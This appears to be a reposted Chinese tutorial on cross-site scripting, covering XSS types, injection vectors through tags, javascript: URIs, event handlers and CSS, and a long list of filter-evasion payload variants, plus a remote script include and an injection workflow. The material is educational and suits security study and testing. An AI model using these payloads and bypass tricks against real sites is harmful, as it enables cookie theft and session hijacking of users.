XSS简介

xiaoxiao2021-02-28  21

XSS跨站脚本攻击Cross Site Script(ing)    CSS (层叠样式表)        XSS 所使用的攻击代码主要JavaScript     JS能够做到的事情,就是可能受到的攻击。     XSS攻击的是用户、浏览器、客户端      一、XSS   简介        只要没有对用户的输入进行严格过滤,就会被XSS   (如:留言板..聊天室) 二、XSS漏洞危害         盗取各种用户账号         窃取用户Cookie资料,冒充用户身份进入网站         劫持用户会话,执行任意操作         刷流量,执行弹窗广告         传播蠕虫病毒 三、漏洞的验证            只要浏览器弹框,就意味着JS 代码可以被执行。就可以执行其他语句.       <script>alert(/XSS/)</script>     <script>alert('XSS')</script>     <script>alert("XSS")</script>         要想弹框,最好能让浏览器识别<script> 四、XSS漏洞的类型        反射型XSS             非持久性的、参数型的跨站脚本             搜索框、用户登录等等。                存储型XSS             持久性的跨站脚本。              恶意代码存储在数据库、其他文件等等地方。             容易暴露攻击          DOM 型XSS             会更改原来文档的DOM 树          http://172.18.199.91/DOM-XSS/DOM-XSS/?context= http://172.18.199.91/DOM-XSS/DOM-XSS/#context= 五、XSS的结构         XSS攻击的是浏览器,IE/chrome/firefox         不同的浏览器效果不一样,同一款浏览器不同版本之间效果不同     1.利用<>构造HTML 或者JS标签         如果用户可以随心所欲的引入 <> 等标记,那么他就能操作一个 HTML 标签,然后通过 <script> 标签就能输入任意由 JavaScript vbscript 编写的恶意脚本代码。如            <script>alert(/xss/)</script>             <p style="color:red">我心永恒</p>     2.利用HTML 标签的属性值进行XSS                  HTML 中有标签,标签中有属性,属性有属性值.    有的HTML 标签属性值,支持javascript:[code]               很多 HTML 标记中的属性都支持 javascript :[code]】 伪协议的形式,这个特殊的协议类型声明了 URL 的主体是任意的 JavaScript 代码,由 Javascript 的解释器运行。所以,可以利用部分 HTML 标记的属性值进行 XSS 。如 <a href="javascript:alert(/xss/)">touch me!</a> <table background="javascript:alert(/xss/)"></table>     (03 IE)  <img src="javascript:alert('xss')">       3.产生自己的事件             >事件就用户何时做了什么事情。处理相关事件的语句,事件响应函数             百度HTML事件          JavaScript HTML 之间的交互是通过事件来实现的 事件就是用户或浏览器自身执行的某个动作,   比如, Click mouseover 等,   响应事件的函数也就叫做事件处理函数     时间能够说明用户何时做了某些事情或页面何时加载完毕     事件划分为3个不同的类别     --用户接口(鼠标键盘)     --逻辑(处理的结果)     --变化 (对文档的修改)       <img src="./1.jpg" οnmοuseοver="alert(/xss/)">   onmouseover   鼠标指针移动到元素上时触发  <input type="text" οnkeydοwn="alert(/xss/)">   onkeydown 用户按下按键时触发          4.利用CSS跨站(不常见)             >使用范围窄               XSS 跨站脚本的另一个载体是 CSS 样式表,使用 CSS 样式表执行 JavaScript 具有隐蔽性,灵活多变等特点。   但是 CSS 样式表有一个很大的缺点:各种浏览器之间不能通用,甚至可能同一浏览器的不同版本之间都不能通用。          利用 CSS 跨站   03 IE   【<div style=" background-image:url (   javascript:alert (/ xss /) ) ">】   <style>   Body{   background-   image:url ( javascript:alert (/ xss /))   }   </style>    IE5及其以后版本支持在CSS中使用expression使用expression同意可以触发XSS漏洞 【<div style="width:expression  (alert(/ xss /))">】 CSS样式可以从其他文件甚至从不同的目标机器上进行引用 <link rel="stylesheet" href="test.css"> 六、XSS的变形           1.大小转换          <img src='#' οnerrοr="alert(/xss/)" /> <Img sRc='#' Onerror="alert(/xss/)" />     2.引号的引用 @    无引号         <Img sRc=# Onerror=alert(/xss/) /> @    单引号         <Img sRc='#' Onerror='alert(/xss/)' /> @    双引号         <Img sRc="#" Onerror="alert(/xss/)" />     3.利用/代替空格      <Img/sRc='#'/Onerror='alert(/xss/)' />     4.css中变形 @    使用全角字符         <style>body{background-image:expression(alert(/xss/));}</style>      @    注释会被浏览器忽略             <style>             body{  background-    image:expre/***/ssion(alert(/xss/))  }             </style>      @    样式表中的\ 和\0 同样会被浏览器忽略             <style>@import 'javasc\ri\0pt:alert("xss")';</style>     5.Tab与回车 <Img/sRc='#'/Onerror    ='alert(/xss/)' />         <A hREf="j    avascript:alert(/xss/)">click me!</a>         <A hREf="j avascript:alert(/xss/)">click me!</a>     6.对标签属性值进行转码      a    97    a    a   a转ASCII码然后转为十六进制 e    101    e    e <A hREf="j    avascript:alert(/xss/)">click me!</a>             插入到任意位置             Tab                                      换行                                  回车                               插入到头部                                 SOH        标题开始信号                             STX        开始     <A hREf="j    avas c r ipt:alert(/xss/)">click me!</a>     7.拆分跨站     <script>z='alert'</script>   <script>z=z+'(/xss/)'</script>       <script>eval(z)</script> 七、ShellCode的调用                      远程调用JS              <script src=" http://ip/a.js"></script> ;             使用 windows.location.hash                                        AJAX 技术                     利用JS 发送HTTP 请求,下载代码                                                                              备选存储技术                     可以把XSS 放在本地域中,典型代表客户端的COOKIE。         XSS 平台
ZKME                                       一、XSS注入的流程     先通过常用语句漏洞的验证      <script>alert(/XSS/)</script>      查看源代码判 断XSS的闭合、有没有过滤< >          输入<ajest' " >  只是为了判断(提交一个特殊的字段,看返回值里能不能回显这个字段      查看源代码 利用XSS的结构 >>          1.利用<>或者js标签                 <script>alert(/xss/)</script>             <p style="color:red">我心永恒</p>          2.利用标签属性 javascript:【code】                         3.利用事件                 若结构中会受到过滤等则进行XSS的变形
转载请注明原文地址: https://www.6miu.com/read-2500106.html

最新回复(0)